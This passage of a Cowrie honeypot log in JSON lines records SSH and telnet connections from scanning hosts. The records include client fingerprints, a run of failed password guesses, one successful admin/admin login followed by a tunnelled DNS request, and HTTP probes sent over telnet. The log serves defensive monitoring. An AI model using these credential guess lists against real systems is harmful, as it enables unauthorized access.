12","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:22:37.547840Z","src_ip":"87.251.64.176","session":"3be62b30a787","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:22:37.837895Z","src_ip":"87.251.64.176","session":"3be62b30a787","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:22:37.936794Z","session":"3be62b30a787","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:22:38.035838Z","src_ip":"87.251.64.176","session":"3be62b30a787","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:22:38.133826Z","src_ip":"87.251.64.176","session":"3be62b30a787","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.48.205.231","src_port":56324,"dst_ip":"10.17.0.5","dst_port":22,"session":"2eed65a73501","protocol":"ssh","message":"New connection: 69.48.205.231:56324 (10.17.0.5:22) [session: 2eed65a73501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:22:38.459922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:22:38.464912Z","src_ip":"69.48.205.231","session":"2eed65a73501","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:22:38.505996Z","src_ip":"69.48.205.231","session":"2eed65a73501","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"parola","message":"login attempt [root/parola] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:22:38.703690Z","src_ip":"69.48.205.231","session":"2eed65a73501","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:22:39.748473Z","src_ip":"69.48.205.231","session":"2eed65a73501","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.214.99","src_port":36726,"dst_ip":"10.17.0.5","dst_port":22,"session":"17c4032fdb1b","protocol":"ssh","message":"New connection: 202.51.214.99:36726 (10.17.0.5:22) [session: 17c4032fdb1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:22:54.754303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:22:54.759334Z","src_ip":"202.51.214.99","session":"17c4032fdb1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:22:55.004187Z","src_ip":"202.51.214.99","session":"17c4032fdb1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminme","message":"login attempt [root/adminme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:22:56.000746Z","src_ip":"202.51.214.99","session":"17c4032fdb1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:22:57.245909Z","src_ip":"202.51.214.99","session":"17c4032fdb1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.73.139","src_port":46198,"dst_ip":"10.17.0.5","dst_port":23,"session":"b27c4946664c","protocol":"telnet","message":"New connection: 108.61.73.139:46198 (10.17.0.5:23) [session: b27c4946664c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:23:48.939075Z"}
{"eventid":"cowrie.session.closed","duration":0.0075604915618896484,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:23:48.946380Z","src_ip":"108.61.73.139","session":"b27c4946664c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.73.139","src_port":60682,"dst_ip":"10.17.0.5","dst_port":22,"session":"c79c0dfb75df","protocol":"ssh","message":"New connection: 108.61.73.139:60682 (10.17.0.5:22) [session: c79c0dfb75df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:23:48.949140Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:23:48.953716Z","src_ip":"108.61.73.139","session":"c79c0dfb75df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":32300,"dst_ip":"159.203.135.109","dst_port":22,"session":"98c10535a44a","protocol":"ssh","message":"New connection: 213.209.159.56:32300 (159.203.135.109:22) [session: 98c10535a44a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:23:52.102746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:23:52.107223Z","src_ip":"213.209.159.56","session":"98c10535a44a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:23:52.189319Z","src_ip":"213.209.159.56","session":"98c10535a44a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ileana","password":"ileana","message":"login attempt [ileana/ileana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:23:52.591571Z","src_ip":"213.209.159.56","session":"98c10535a44a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ileana","password":"ileana1","message":"login attempt [ileana/ileana1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:23:53.677066Z","src_ip":"213.209.159.56","session":"98c10535a44a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ileana","password":"ileana123","message":"login attempt [ileana/ileana123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:23:54.764306Z","src_ip":"213.209.159.56","session":"98c10535a44a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ileana","password":"ileana1234","message":"login attempt [ileana/ileana1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:23:55.854559Z","src_ip":"213.209.159.56","session":"98c10535a44a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ileana","password":"ileana12345","message":"login attempt [ileana/ileana12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:23:56.939912Z","src_ip":"213.209.159.56","session":"98c10535a44a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:23:58.026186Z","src_ip":"213.209.159.56","session":"98c10535a44a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.118.29.129","src_port":50620,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5b7507dc305","protocol":"ssh","message":"New connection: 103.118.29.129:50620 (10.17.0.5:22) [session: d5b7507dc305]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:23:59.390841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:23:59.395458Z","src_ip":"103.118.29.129","session":"d5b7507dc305","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:23:59.634777Z","src_ip":"103.118.29.129","session":"d5b7507dc305","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gateway","password":"gateway","message":"login attempt [gateway/gateway] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:00.627250Z","src_ip":"103.118.29.129","session":"d5b7507dc305","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.73.139","src_port":56266,"dst_ip":"10.17.0.5","dst_port":23,"session":"28388521b16c","protocol":"telnet","message":"New connection: 108.61.73.139:56266 (10.17.0.5:23) [session: 28388521b16c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:01.171629Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.73.139","src_port":54436,"dst_ip":"10.17.0.5","dst_port":22,"session":"9199dc5382f1","protocol":"ssh","message":"New connection: 108.61.73.139:54436 (10.17.0.5:22) [session: 9199dc5382f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:01.176519Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:01.197839Z","src_ip":"108.61.73.139","session":"9199dc5382f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:01.867724Z","src_ip":"103.118.29.129","session":"d5b7507dc305","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"","password":"","message":"login attempt [/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:07.181109Z","src_ip":"108.61.73.139","session":"28388521b16c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.011734247207642,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:12.183245Z","src_ip":"108.61.73.139","session":"28388521b16c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.73.139","src_port":52740,"dst_ip":"10.17.0.5","dst_port":23,"session":"e90d533577bb","protocol":"telnet","message":"New connection: 108.61.73.139:52740 (10.17.0.5:23) [session: e90d533577bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:12.189060Z"}
{"eventid":"cowrie.session.closed","duration":4.997662305831909,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:17.186629Z","src_ip":"108.61.73.139","session":"e90d533577bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.73.139","src_port":42496,"dst_ip":"10.17.0.5","dst_port":23,"session":"aadde6892937","protocol":"telnet","message":"New connection: 108.61.73.139:42496 (10.17.0.5:23) [session: aadde6892937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:17.191392Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.0","password":"","message":"login attempt [GET / HTTP/1.0/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:17.195454Z","src_ip":"108.61.73.139","session":"aadde6892937","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.004392862319946,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:22.195709Z","src_ip":"108.61.73.139","session":"aadde6892937","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.73.139","src_port":42510,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5a8b0994a55","protocol":"telnet","message":"New connection: 108.61.73.139:42510 (10.17.0.5:23) [session: f5a8b0994a55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:22.202129Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS / HTTP/1.0","password":"","message":"login attempt [OPTIONS / HTTP/1.0/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:22.211599Z","src_ip":"108.61.73.139","session":"f5a8b0994a55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.214.99","src_port":33146,"dst_ip":"10.17.0.5","dst_port":22,"session":"f455af40069b","protocol":"ssh","message":"New connection: 202.51.214.99:33146 (10.17.0.5:22) [session: f455af40069b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:26.431053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:26.435825Z","src_ip":"202.51.214.99","session":"f455af40069b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:26.678941Z","src_ip":"202.51.214.99","session":"f455af40069b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.002026557922363,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:27.204003Z","src_ip":"108.61.73.139","session":"f5a8b0994a55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.73.139","src_port":44650,"dst_ip":"10.17.0.5","dst_port":23,"session":"948273e00e34","protocol":"telnet","message":"New connection: 108.61.73.139:44650 (10.17.0.5:23) [session: 948273e00e34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:27.209160Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"hyperic","message":"login attempt [root/hyperic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:27.680513Z","src_ip":"202.51.214.99","session":"f455af40069b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:28.925866Z","src_ip":"202.51.214.99","session":"f455af40069b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.237.188.34","src_port":40128,"dst_ip":"10.17.0.5","dst_port":22,"session":"feb3a6f9a845","protocol":"ssh","message":"New connection: 23.237.188.34:40128 (10.17.0.5:22) [session: feb3a6f9a845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:30.191923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T05:24:30.196591Z","src_ip":"23.237.188.34","session":"feb3a6f9a845","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com",